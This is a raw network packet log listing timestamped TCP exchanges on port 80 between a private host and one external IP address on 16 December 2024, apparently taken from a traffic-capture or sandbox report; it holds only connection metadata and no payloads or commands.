Dec 16, 2024 21:03:02.711397886 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.712151051 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.712202072 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.712268114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.712321997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.713054895 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.713103056 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.713182926 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.713252068 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.713887930 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.713989973 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.714057922 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.714128971 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.714821100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.714869976 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.714905024 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.714953899 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.715704918 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.715751886 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.715867043 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.715986967 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.716557980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.716645956 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.716732025 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.716780901 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.717422962 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.717494965 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.717616081 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.717672110 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.718310118 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.718364954 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.718429089 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.718481064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.719208002 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.719260931 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.719268084 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.719309092 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.720119953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.720169067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.720175028 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.720231056 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.720961094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.721010923 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.721079111 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.721138000 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.721843004 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.721894979 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.721895933 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.721946001 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.722769976 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.722825050 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.722888947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.722939968 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.723640919 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.723695040 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.723761082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.723864079 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.724450111 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.724502087 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.870536089 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.870579958 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.870606899 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.870637894 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.870764017 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.870816946 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.870899916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.870944977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.871707916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.871752977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.871753931 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.871800900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.872615099 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.872659922 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.872668982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.872704029 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.873440981 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.873498917 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.873502970 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.873548985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.874304056 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.874351978 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.874414921 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.874464035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.875175953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.875308990 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.875349998 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.875403881 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.876055956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.876111031 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.876164913 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.876349926 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.876979113 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.877023935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.877027035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.877064943 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.877859116 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.877926111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.877981901 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.878030062 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.878719091 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.878772974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.878817081 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.878864050 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.879668951 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.879719973 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.879776001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.879827023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.880462885 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.880647898 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.880706072 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.881367922 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.881421089 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.881483078 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.881531954 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.882251024 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.882368088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.882431984 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.883133888 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.883188009 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.883274078 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.883336067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.884051085 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.884159088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.884211063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.884901047 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.884954929 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.884958982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.885003090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.885775089 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.885889053 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.885930061 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.885983944 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.886668921 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.886719942 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.886863947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.886914015 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.887571096 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.887622118 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.887703896 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.887753010 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.888420105 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.888473988 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.888600111 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.888746977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.889280081 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.889329910 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.889406919 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.889467001 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.890156984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.890233994 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.890261889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.890311956 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.891069889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.891125917 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.891251087 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.891303062 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.891932011 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.891978979 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.892062902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.892113924 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.892848969 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.892898083 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.892961025 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.893037081 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.893699884 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.893776894 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.893795013 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.893850088 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.894582033 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.894633055 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.894635916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.894696951 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.895493031 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.895543098 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.895611048 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.895683050 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.896359921 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.896410942 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.896482944 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.896532059 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.897234917 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.897336006 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.897373915 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.897430897 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.898205042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.898252010 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.898328066 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.898380995 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.899045944 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.899096012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.899169922 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.899220943 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.899923086 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.899975061 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.900058031 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.900139093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.900758982 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.900819063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.900861979 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.900995970 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.901763916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.901798964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.901815891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.901844978 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.902548075 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.902597904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.902695894 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.902755022 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.903573990 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.903625011 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.903707027 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.903774023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.904294014 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.904371977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.904436111 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.904485941 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.905167103 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.905225039 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.905287981 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.905328989 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.906094074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.906145096 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.906275034 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.906368971 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.906940937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.906995058 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.907018900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.907040119 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.907851934 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.907900095 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.907903910 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.907958031 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.908821106 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.908919096 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.908956051 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.909009933 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.909594059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.909723997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.909768105 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.910562038 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.910614014 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.910615921 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.910670996 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.911406994 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.911463022 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.911546946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.911593914 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.912241936 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.912292004 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.912364006 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.912412882 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.913130045 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.913173914 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.913239002 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.913403034 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.913959980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.914011002 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.914150000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.914215088 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.914872885 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.914927959 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.915065050 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.915116072 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.915736914 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.915788889 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.915859938 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.915911913 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.916692972 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.916742086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.062886000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.062939882 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.062984943 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.063040018 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.063221931 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.063273907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.063277960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.063328028 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.063910007 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.063956976 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.064021111 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.064064980 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.064780951 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.064829111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.064907074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.064963102 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.065578938 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.065625906 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.065700054 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.065742016 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.066483021 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.066546917 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.066564083 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.066608906 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.067363024 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.067414045 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.067500114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.067552090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.068239927 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.068295956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.068300962 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.068346024 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.069094896 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.069303989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.069363117 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.069992065 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.070045948 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.070122957 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.070173025 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.070882082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.070933104 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.070991993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.071042061 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.071877956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.071928024 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.071930885 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.071984053 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.072663069 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.072715044 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.072777987 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.072829962 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.073486090 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.073535919 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.073617935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.073668957 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.074366093 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.074472904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.074621916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.074671984 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.075305939 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.075376034 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.075438976 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.075489044 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.076148987 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.076200962 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.076265097 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.076316118 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.077039003 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.077172041 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.077224970 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.077938080 CET	80	49882	31.41.244.11	192.168.2.4
